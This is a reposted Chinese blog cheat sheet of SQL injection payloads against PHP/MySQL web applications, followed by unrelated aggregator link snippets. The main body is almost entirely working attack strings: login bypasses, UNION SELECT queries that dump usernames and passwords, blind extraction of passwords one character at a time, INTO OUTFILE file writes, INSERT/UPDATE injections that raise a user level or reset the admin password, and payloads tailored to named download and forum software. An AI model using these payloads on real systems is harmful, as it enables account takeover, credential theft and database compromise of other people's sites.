php充值注入,PHP注入一路小跑

PHP注入一路小跑

[ 2006-04-20 14:16:55 | 作者: 承諾 ]

字体大小: 大 | 中 | 小

很老的了,我是给我自己看的。忘了好多,补习一下

204979_1.gif

‘ or ‘1=1

‘/*

‘%23

‘ and password=‘mypass

id=-1 union select 1,1,1

id=-1 union select char(97),char(97),char(97)

id=1 union select 1,1,1 from members

id=1 union select 1,1,1 from admin

id=1 union select 1,1,1 from user

userid=1 and password=mypass

userid=1 and mid(password,3,1)=char(112)

userid=1 and mid(password,4,1)=char(97)

and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)

‘ and LENGTH(password)=‘6(探测密码长度)

‘ and LEFT(password,1)=‘m

‘ and LEFT(password,2)=‘my

…………………………依次类推

‘ union select 1,username,password from user/*

‘ union select 1,username,password from user/*

=‘ union select 1,username,password from user/* (可以是1或者=后直接跟)

99999‘ union select 1,username,password from user/*

‘ into outfile ‘c:/file.txt (导出文件)

=‘ or 1=1 into outfile ‘c:/file.txt

1‘ union select 1,username,password from user into outfile ‘c:/user.txt

select password FROM admins where login=‘John‘ INTO DUMPFILE ‘/path/to/site/file.txt‘

id=‘ union select 1,username,password from user into outfile

id=-1 union select 1,database(),version() (灵活应用查询)

常用查询测试语句,

select * FROM table where 1=1

select * FROM table where ‘uuu‘=‘uuu‘

select * FROM table where 1<>2

select * FROM table where 3>2

select * FROM table where 2<3

select * FROM table where 1

select * FROM table where 1+1

select * FROM table where 1--1

select * FROM table where ISNULL(NULL)

select * FROM table where ISNULL(COT(0))

select * FROM table where 1 IS NOT NULL

select * FROM table where NULL IS NULL

select * FROM table where 2 BETWEEN 1 AND 3

select * FROM table where ‘b‘ BETWEEN ‘a‘ AND ‘c‘

select * FROM table where 2 IN (0,1,2)

select * FROM table where CASE WHEN 1>0 THEN 1 END

例如:夜猫下载系统1.0版本

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51

…………………………………………………………

例如2:灰色轨迹 变换id进行测试(meteor)

union%20(select%20allowsmilies,public,userid,‘0000-0-0‘,user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

union%20(select%20allowsmilies,public,userid,‘0000-0-0‘,pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

构造语句:

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)

union%20(select%201,0,2,‘1999-01-01‘,‘a‘,password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate

union%20(select%201,0,12695,‘1999-01-01‘,‘a‘,password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate

union%20(select%201,0,12695,‘1999-01-01‘,‘a‘,userid%20FROM%20user%20where%20username=‘sandflee‘)%20order%20by%20eventdate (查沙子的id)

(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)

select * FROM article where articleid=‘$id‘ union select * FROM……(字段和数据库相同情况下,可直接提交)

select * FROM article where articleid=‘$id‘ union select 1,1,1,1,1,1,1 FROM……(不同的情况下)

特殊技巧:在表单,搜索引擎等地方写:

"___"

".__ "

"%

%‘ ORDER BY articleid/*

%‘ ORDER BY articleid#

__‘ ORDER BY articleid/*

__‘ ORDER BY articleid#

$command = "dir c:\";system($command);

select * FROM article where articleid=‘$id‘

select * FROM article where articleid=$id

1‘ and 1=2 union select * from user where userid=1/* 句中变为

(select * FROM article where articleid=‘1‘ and 1=2 union select * from user where userid=1/*‘)

1 and 1=2 union select * from user where userid=1

语句形式:建立一个库,插入:

create DATABASE `injection`

create TABLE `user` (

`userid` int(11) NOT NULL auto_increment,

`username` varchar(20) NOT NULL default ‘‘,

`password` varchar(20) NOT NULL default ‘‘,

PRIMARY KEY (`userid`)

) ;

insert INTO `user` VALUES (1, ‘swap‘, ‘mypass‘);

插如一个注册用户:

insert INTO `user` (userid, username, password, homepage, userlevel) VALUES (‘‘, ‘$username‘, ‘$password‘, ‘$homepage‘, ‘1‘);

"insert INTO membres (login,password,nom,email,userlevel) VALUES (‘$login‘,‘$pass‘,‘$nom‘,‘$email‘,‘1‘)";

insert INTO membres (login,password,nom,email,userlevel) VALUES (‘‘,‘‘,‘‘,‘‘,‘3‘)#‘,‘1‘)

"insert INTO membres SET login=‘$login‘,password=‘$pass‘,nom=‘$nom‘,email=‘$email‘";

insert INTO membres SET login=‘‘,password=‘‘,nom=‘‘,userlevel=‘3‘,email=‘‘

"insert INTO membres VALUES (‘$id‘,‘$login‘,‘$pass‘,‘$nom‘,‘$email‘,‘1‘)";

update user SET password=‘$password‘, homepage=‘$homepage‘ where id=‘$id‘

update user SET password=‘MD5(mypass)‘ where username=‘admin‘#)‘, homepage=‘$homepage‘ where id=‘$id‘

"update membres SET password=‘$pass‘,nom=‘$nom‘,email=‘$email‘ where id=‘$id‘";

update membres SET password=‘[PASS]‘,nom=‘‘,userlevel=‘3‘,email=‘ ‘ where id=‘[ID]‘

"update news SET Votes=Votes+1, score=score+$note where idnews=‘$id‘";

长用函数:

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

比如:

update article SET title=$title where articleid=1 对应函数

update article SET title=DATABASE() where id=1

#把当前数据库名更新到title字段

update article SET title=USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=SYSTEM_USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=SESSION_USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=CURRENT_USER() where id=1

#把当前会话被验证匹配的用户名更新到title字段

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

$req = "select * FROM membres where name like ‘%$search%‘ ORDER BY name";

select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name

select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name

select uid FROM admins where login=‘‘ OR ‘a‘=‘a‘ AND password=‘‘ OR ‘a‘=‘a‘ (经典)

select uid FROM admins where login=‘‘ OR admin_level=1#‘ AND password=‘‘

select * FROM table where msg like ‘%hop‘

select uid FROM membres where login=‘Bob‘ AND password like ‘a%‘#‘ AND password=‘‘

select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/547627.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Visual Studio 扩展包(.vsix)制作

前言&#xff1a;上篇介绍了 Visual Studio扩展工具添加与卸载&#xff0c;本编要介绍的是Visual Studio 扩展包(.vsix)的制作。 方法&#xff1a; ①、下载并安装Visual Studio 2010 SDK。 vs 2010 开发工具下载SDK安装包官方下载地址&#xff1a;http://www.microsoft.com/d…

php5..6中文帮助,6.5. IDE integration

IDE 集成理想情况下&#xff0c;应用程序代码不应直接使用DI容器&#xff1a;应首选依赖项注入。但是&#xff0c;在某些情况下&#xff0c;可能会直接调用容器&#xff1a;编写根应用程序类(前端控制器等)或更通用的框架时编写工厂时维护或迁移旧版应用程序时编写功能测试时..…

公主病 - 百度百科

http://wapbaike.baidu.com/view/287227.htm?ssid0&from844b&uid3151E6C0905477A13653132D762BB6FB&pusz%401320_1001%2Cta%40iphone_2_4.1_3_537%2Cusm%403&bd_page_type1&tjXk_1_0_10_title

CDH6.2 Linux离线安装

1.概述 CDH&#xff0c;全称Clouderas Distribution, including Apache Hadoop。是Hadoop众多分支中对应中的一种&#xff0c;由Cloudera维护&#xff0c;基于稳定版本的Apache Hadoop构建&#xff0c;提供了Hadoop的核心&#xff08;可扩展存储、分布式计算&#xff09;&#…

vs怎么调试php程序,vscode如何调试运行c#程序

前提条件&#xff1a;安装.NET Core SDK安装vscode步骤&#xff1a;安装c#extension插件创建第一个项目&#xff0c;手动创建workspace文件夹在vscode中使用快捷键CTRLKCTRLO选择刚才创建的文件夹使用快捷键CTRLSHIFITY打开控制台使用下面的命令在打开的终端里面创建一个基础的…

Openshift 4.4 静态 IP 离线安装系列:准备离线资源

本系列文章描述了离线环境下以 UPI (User Provisioned Infrastructure) 模式安装 Openshift Container Platform (OCP) 4.4.5 的步骤&#xff0c;我的环境是 VMware ESXI 虚拟化&#xff0c;也适用于其他方式提供的虚拟机或物理主机。离线资源包括安装镜像、所有样例 Image Str…

[转]Install Windows Server 2012 in VMware Workstation

本文转自&#xff1a;http://kb4you.wordpress.com/2012/06/28/install-windows-server-2012-in-vmware-workstation-2/ This procedure describes how to install Windows Server 2012 in VMware Workstation. The following versions are used: VMware Workstation Technolog…

生成文件的另一种思路——共享文件同步

背景 由于网站访问量大&#xff0c;需要多台服务器生成静态文件&#xff0c;然后多机负载&#xff0c;所有生成成了头等大事&#xff0c;一是方式所需&#xff0c;二是生成环节消耗CPU与内存操作太大&#xff0c;经常出问题。常用的生成方式&#xff1a;1.多台服务器&#xff…

php window.onload,tp_window.onload+相应操作

[php]代码库window.οnlοadfunction(){if(0){document.getElementsByName(sex)[1].checkedchecked;}else{document.getElementsByName(sex)[0].checkedchecked;}}class UserAction extends Action{public function index(){$mM(User);$arr$m->select();//var_dump($arr);$t…

Openshift 4.4 静态 IP 离线安装系列:初始安装

Openshift 4.4 静态 IP 离线安装系列&#xff1a;初始安装 上篇文章准备了离线安装 OCP 所需要的离线资源&#xff0c;包括安装镜像、所有样例 Image Stream 和 OperatorHub 中的所有 RedHat Operators。本文就开始正式安装 OCP&#xff08;Openshift Container Platform&…

【JavaScript学习】JavaScript对象创建

1.最简单的方法&#xff0c;创建一个对象&#xff0c;然后添加属性 1 var person new Object();2 person.age 23;3 person.name "David";4 person.job "student";5 person.sayName function ()6 {7 alert(this.name);8 };9 10 //类似于定义键…

C# ArrayList 与 string、string[] 的转换

1、ArrarList 转换为 string[] ArrayList list new ArrayList(); list.Add("aaa"); list.Add("bbb"); //转换成数组 string[] arrString (string[])list.ToArray(typeof( string)); 2、string[] 转换为 ArrarList ArrayList list new ArrayList(new st…

oracle不能访问管理页面,Oracle Grid Control CONSOLE无法打开9i数据库的管理维护页面...

今天在Solaris平台的测试环境上安装了Oracle Grid control 10.2.0.1&#xff0c;安装及配置完成后&#xff0c;发现在登录9i数据库的tablespace维护页面时&#xff0c;页面处于长时间的等待状况。最终返回错误信息。该页面在打开其他较小的数据库的页面时&#xff0c;均能正常访…

(转)在Myeclipse中查看android源码就是这么easy

http://byandby.iteye.com/blog/814277转载于:https://www.cnblogs.com/hyzhou/p/3217022.html

SQL Server 不同数据库导入指定数据解决方案

1 use 待导入DB 2 go 3 4 /*启动Ad Hoc Distributed Queries*/ 5 exec sp_configure show advanced options,1 6 reconfigure 7 exec sp_configure Ad Hoc Distributed Queries,1 8 reconfigure 9 10 insert into 待导入DB.dbo.表名11 select top 10 sid from opendatasource(…

Vue + Element UI 实现 登陆注册基本demo实例

Vue Element UI 实现权限管理系统 前端篇&#xff08;二&#xff09;&#xff1a;Vue Element 案例 导入项目 打开 Visual Studio Code&#xff0c;File --> add Folder to Workspace&#xff0c;导入我们的项目。 安装 Element 安装依赖 Element 是国内饿了么公司提供…

oracle first_rows怎么用,优化模式区别(all_rows first_rows_n)

Why is my index not used?* The table is indexed isn’t it? &#x1f642;* Why SHOULD the index be used?* Are the indexed columns/leading column of the index supplied in the where clause of the query (predicate list) as a single table (non-join) predicat…

svn 客户端批量备份数据(图+文)

缘由 商业用途的规则&#xff0c;数据与谨慎便成了不可替代的王道&#xff0c;我今天也说svn&#xff0c;在客户端批量备份数据。 前提 考虑跨平台与易用性&#xff0c;选择批处理&#xff08;.bat&#xff09;&#xff0c;既然是批处理&#xff0c;少不了的便是命令和执行命…

Vue项目 报错TypeError [ERR INVALID ARG TYPE]: The “path“ argument must be of type string

# Vue项目 报错TypeError [ERR INVALID ARG TYPE]: The “path“ argument must be of type string 卡了半天&#xff0c;原来是sassloader版本过高导致的&#xff0c; 解决方法: 回退7.版本npm uninstall sass-loader&#xff08;卸载当前版本&#xff09; npm install sass…

使用python来访问Hadoop HDFS存储实现文件的操作

在调试环境下&#xff0c;咱们用hadoop提供的shell接口测试增加删除查看&#xff0c;但是不利于复杂的逻辑编程查看文件内容www.xiaorui.cc用python访问hdfs是个很头疼的事情。。。。这个是pyhdfs的库import pyhdfs fs pyhdfs.connect("192.168.1.1", 9000) pyhdfs.…